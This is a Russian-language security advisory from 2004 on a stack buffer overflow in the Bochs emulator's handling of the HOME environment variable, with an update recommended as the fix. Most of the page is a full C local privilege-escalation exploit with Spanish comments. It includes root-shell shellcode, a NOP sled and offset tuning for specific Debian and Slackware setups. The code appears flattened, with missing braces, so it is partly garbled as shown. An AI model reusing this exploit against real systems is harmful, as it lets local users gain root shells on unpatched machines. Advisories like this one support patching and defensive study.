Дата публикации: | 29.02.2004 |
Всего просмотров: | 1642 |
Опасность: | Низкая |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: Bochs до версии 2.1.1
Описание: Уязвимость обнаружена в Bochs эмуляторе в обработке HOME переменной окружения. Локальный пользователь может получить поднятые привилегии на целевой системе. Локальный пользователь может установить специально обработанное значение для HOME переменной окружения, чтобы заставить Bochs выполнить произвольные команды с привилегиями Bochs процесса. Пример/Эксплоит: /* * The overflow happens when program does not find these files: * .bochsrc, bochsrc, bochsrc.txt * Exploit created: 28/12/2003 * Tested Vulnerable Versions: bochs- 2.0.1, 2.0.2, 2.1.pre1, 2.1.pre2 y 2.1 * NOTA: Si el programa no esta +s no nos aparecera ninguna shell pq falla * la funcion setuid(0), si kereis podeis comentar esa parte de la shellcode * para hacer pruebas y funcionara perfectamente. * debian 3.0 gcc 2.95.4 kernel 2.4.24 offset: 1270 * debian 3.0 gcc 2.95.4 kernel 2.2.20 offset: 1000 * slack 8.1 gcc 2.95.3 kernel 2.6.0 offset: 1970 * Contact: sesox (at) govannom (dot) org * WebSite: http://www.govannom.org */ #include < stdio.h> #include < unistd.h> #include < getopt.h> static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) // "\x31\xc0\xb0\x2e\xcd\x80" //setgid(0) "\x31\xc9\x31\xd2\x51\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x51\x53\x89\xe1\xb0\x0b\xcd" "\x80\x31\xc0\xb0\x01\xcd\x80"; char *get_sp() { asm("movl %esp,%eax"); #define BSIZE 512 // Tama?o de la variable que vamos a desbordar #define NOP 0x90 main(int argc, char *argv[]){ int opt,offset; char buffer[BSIZE+8]; //Tama?o desde el principio de la variable asta la return address char *ret,*path; // Inicializamos valores por defecto (slackware 8.1) offset = 1970; path = "/usr/local/bin/bochs"; // Recogemos parametros del programa while((opt = getopt(argc,argv,"p:o:h:")) != -1) { switch(opt) { case 'o': offset=atoi(optarg); break; case 'p': path=optarg; break; default: ussage(argv[0]); break; // Obtenemos la direccion de retorno ret = get_sp()+offset; printf("Stack init: %x\n", get_sp()); printf("ret: %x\n", ret); memset(buffer,NOP,sizeof(buffer)); memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode, strlen(shellcode)); memcpy(buffer+(sizeof(buffer)-4), (char *)&ret, 4); if(setenv("HOME", buffer, 1)==-1){ printf("\n\tError: Can not put buffer in HOME variable.\n\n"); exit(0); } if(execl(path,path,NULL)==-1){ printf("\nError: Can not execute bochs. Verify if the path is correct.\n\n"); exit(0); } int ussage(char *arg) { printf("\n\t .: Stack overflow exploit for bochs (by SeSoX) :. \n"); printf("\n\tUssage:\n\t %s -p < path> -o < offset>\n\n",arg); exit(-1); URL производителя: http://bochs.sourceforge.net/ Решение:Установите обновленную версию программы: http://bochs.sourceforge.net/getcurrent.html |
|
Ссылки: | Bochs HOME Environment Variable Buffer Overflow |